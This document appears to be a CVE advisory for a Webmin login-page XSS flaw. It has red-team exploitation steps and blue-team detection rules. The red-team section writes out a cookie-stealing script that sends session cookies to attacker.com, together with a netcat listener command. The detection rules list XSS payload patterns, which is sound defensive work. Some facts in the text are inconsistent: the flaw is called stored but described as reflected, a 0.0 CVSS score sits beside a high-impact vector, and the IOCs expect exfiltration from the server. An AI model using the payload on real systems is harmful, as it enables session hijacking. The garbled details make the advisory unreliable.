CVE-2024-36453

Executive Summary

CVE-2024-36453 is a stored cross-site scripting (XSS) vulnerability in the session_login.cgi component of Webmin (versions prior to 1.970) and Usermin (versions prior to 1.820). An attacker can inject arbitrary JavaScript into the login page, which executes in the browser of any user who accesses the affected interface. This can lead to session hijacking, credential theft, or defacement of the web interface. The vulnerability is unpatched in older versions, and no public exploit code or proof-of-concept has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for exposed instances.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned by NVD) Threat Level: Medium (based on impact and attack complexity)

Rationale:

• Attack Vector (AV): Network – the vulnerability is exploitable over the network.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed to trigger the XSS.
• User Interaction (UI): Required – the victim must visit the crafted login page.
• Scope (S): Changed – the injected script can affect the user’s browser session.
• Confidentiality (C): High – potential for credential disclosure.
• Integrity (I): High – page content can be altered.
• Availability (A): None – no direct denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Deep Dive & Mechanics

The vulnerability resides in the session_login.cgi script, which handles user authentication. The script fails to properly sanitize user-supplied input before reflecting it in the HTML response. An attacker can craft a malicious URL or POST parameter containing JavaScript code. When a victim accesses the login page with this payload, the script executes in the context of the Webmin/Usermin domain.

Attack Flow:

1. Attacker identifies a Webmin/Usermin instance (e.g., via Shodan dork title:"Login to Webmin").
2. Attacker crafts a URL like: https://target:10000/session_login.cgi?user=<script>alert('XSS')</script>
3. Victim clicks the link or is redirected to it.
4. The browser renders the injected script, executing arbitrary JavaScript.
5. The script can steal session cookies, capture keystrokes, or redirect to a phishing page.

Root Cause: The user parameter (or similar) is echoed directly into the HTML without encoding or validation.

Vulnerable vs. Patched Code

Vulnerable Code (Webmin < 1.970):

# In session_login.cgi
my $user = param('user');
print "<input type='text' name='user' value='$user'>";

Patched Code (Webmin >= 1.970):

# In session_login.cgi
my $user = param('user');
$user = HTML::Entities::encode($user);
print "<input type='text' name='user' value='$user'>";

The patch uses HTML::Entities::encode to escape HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• Target: Webmin 1.960 (vulnerable) running on Ubuntu 22.04
• Attacker: Kali Linux with Burp Suite

Exploitation Steps:

1. Identify target: nmap -p 10000 <target_ip>
2. Craft XSS payload: <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
3. Send malicious link to victim: https://target:10000/session_login.cgi?user=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
4. Set up listener: nc -lvnp 80
5. When victim clicks, cookie is exfiltrated.

Example Payload (URL-encoded):

https://target:10000/session_login.cgi?user=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for suspicious user parameter values containing <script> or onerror= patterns.
2. Deploy a WAF rule to block XSS patterns in session_login.cgi.
3. Use browser-based CSP headers to mitigate script execution.

Hunting Query (Splunk):

index=webmin sourcetype=access_log
| search uri_path="/session_login.cgi" AND uri_query=*<script>*
| table _time, src_ip, uri_query, status

Indicators of Compromise (IOCs)

Network IOCs:

• URIs containing session_login.cgi?user=<script> or similar XSS patterns.
• Outbound connections from Webmin server to unknown IPs on port 80/443 (data exfiltration).

Host IOCs:

• Modified session_login.cgi file (check hash).
• Unexpected entries in /var/webmin/session_login.cgi (if attacker gained write access).

Log IOCs:

• Web server logs showing 400 or 500 errors from malformed XSS attempts.
• Repeated requests to session_login.cgi with unusual user parameters.

Detection Engineering

YARA Rule

rule CVE_2024_36453_XSS_Webmin {
    meta:
        description = "Detects XSS payloads targeting Webmin session_login.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-36453"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $uri = "/session_login.cgi" nocase
    condition:
        $uri and (any of ($xss*))
}

Sigma Rule

title: XSS Attempt on Webmin session_login.cgi
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in the user parameter of Webmin login
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-stem|contains: '/session_login.cgi'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in user input (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36453 Webmin XSS Attempt"; flow:to_server; content:"/session_login.cgi"; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Webmin to version 1.970 or later, and Usermin to 1.820 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block XSS patterns in session_login.cgi.
3. Restrict access to Webmin/Usermin interfaces to trusted IPs only (firewall rule).

Long-term Measures:

• Implement Content Security Policy (CSP) headers to block inline scripts.
• Conduct regular security audits of web applications.
• Use input validation libraries (e.g., HTML::Entities) for all user-supplied data.

Verification:

• After patching, test with a simple XSS payload to confirm it is blocked.
• Review logs for any prior exploitation attempts.

Valters IT